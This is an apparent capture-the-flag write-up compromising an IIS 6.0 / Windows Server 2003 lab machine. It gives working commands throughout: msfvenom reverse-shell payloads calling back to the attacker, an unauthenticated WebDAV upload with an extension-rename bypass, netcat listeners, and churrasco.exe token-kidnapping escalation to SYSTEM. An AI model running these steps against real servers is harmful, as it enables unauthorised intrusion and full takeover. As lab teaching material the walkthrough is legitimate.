Looks like a Microsoft FrontPage 5.0.2.6790 installation. Checking searchsploit and Google for FrontPage exploits doesn't look immediately promising, but does provide some interesting reading and research from the early days of the Internet.
WebDAV
The other discovery to take note of is the WebDAV being enabled on this server and it appears that all methods are available to public users.

|_http-server-header: Microsoft-IIS/6.0What is WebDAV?
WebDAV is an extension of the HTTP protocol that allows users to manage files stored on remote servers. Common client programs supporting WebDAV include Windows File Explorer, macOS Finder, and Linux File Browser.
Manage files stored on remote servers...?
Common client programs include Linux File Browser...?
Looking at our HTTP methods for the WebDAV server:
- GET
- PUT
- COPY
- MOVE
All looking like a perfect opportunity to upload a web shell. Let's get busy.
Exploit
The WebDAV server is configured with overly permissive HTTP methods for public users, and allows unauthenticated users to obtain code execution the server via file upload.
The Lazy Way
Create a reverse shell payload using msfvenom :
msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=kali-tcp-port -a x86 --platform windows -f aspx -o shell.aspx.txtWe have to save it with a .txt extension first, because during testing, I found that only certain file extensions are permitted to be uploaded to the WebDAV server. Not to worry though, since we can just rename it once it's uploaded.
Now, let's upload our exploit via WebDAV. Here, I've got my folder open in my file explorer. As you can see, I've got my shell.aspx.txt payload ready. Right-click and copy the file to your clipboard.
Open a new tab in your file browser and enter the address webdav://10.10.10.15/
Now, right-click and paste your shell.aspx.txt payload into the WebDAV session.
Now, right-click and rename it to shell.aspx .
The L337 Way
Are you even a hacker if you don't use the terminal for everything?!
We're going to use a tool called dave – or DAV Explorer. Let's get to work. Let's start by creating another msfvenom payload, because now that we've renamed shell.aspx.txt to shell.aspx the server is not going to allow us to remove it or rename it.
msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=kali-tcp-port -f aspx -a x86 --platform windows -o pwnz.aspx.txtNow, let's upload our reverse shell payload to the WebDAV server.
dave
# Connect to the WebDAV server
dave> open http://10.10.10.15
# List files on the WebDAV server
dave> ls
# Upload our new payload
dave> put pwnz.aspx.txt
# Rename it
dave> mv pwnz.aspx.txt pwnz.aspx
# Confirm it's there
dave> ls
# Quit the program
dave> quitShell Time
It's up to you whether you want to execute pwnz.aspx or shell.aspx . If you used a different TCP port for both of them just make sure you set your listener accordingly. With that said, let's start our listener.
sudo rlwrap nc -lnvp <kali-tcp-port>And, in another terminal tab, you can use curl to open the file and execute the payload:
curl http://10.10.10.15/shell.aspx

Privilege Escalation
Finding an Exploit
After looking over the post-exploitation enumeration results, I decided I'd check Exploit DB for privilege escalation options on our target OS.
searchsploit Windows Server 2003 | grep -i priv --colorThis exploit sticks out at me, because I remember in the whoami output that this service account has SeImpersonatePrivilege privileges enabled.
Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation | windows/local/6705.txtLet's copy the .txt file over to the working directory and learn more about the exploit.
searchsploit -m 6705Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows
services accounts can impersonate. Other process (not services) that can impersonate are IIS 6 worker processes
so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide
shared hosting services then I would recomend to not allow users to run this kind of code from ASP.So, because the IIS server is being run by a service account, this automatically gives them SeImpersonate (at least on this version of Windows Server). Therefore, code execution by this account can lead to execution as NT AUTHORITY\SYSTEM via token impersonation.
To Compile or Not to Compile...
If you download the .zip folder mentioned in the exploit overview, it will yield the .cpp source code and a .sln solution file to compile if you wish. I opted to find a pre-compiled exploit.
Re4sonGame Over
Download the churrasco.exe exploit to Kali and we'll use the WebDAV server to transfer it to the target.
mv churrasco.exe churrasco.exe.txt
dave
dave> open http://10.10.10.15
dave> put churrasco.exe.txt
dave> mv churrasco.exe.txt churrasco.exe
dave> quitNow, in our reverse shell, let's see what the exploit looks like:
cd C:\Inetpub\wwwroot\
.\churrasco.exe
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
We can use a msfvenom payload in tandem with churrasco.exe to get a reverse shell as SYSTEM.
msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=kali-tcp-port -a x86 --platform windows -f exe -o privesc.exe.txtUse the WebDAV to transfer the file:
dave
dave> put privesc.exe.txt
dave> mv privesc.exe.txt privesc.exe
dave> quitNow, start a listener on your chosen TCP port for privesc.exe and let's finish it.
sudo rlwrap nc -lnvp <kali-tcp-port>.\churrasco.exe -d "C:\Inetpub\wwwroot\privesc.exe"
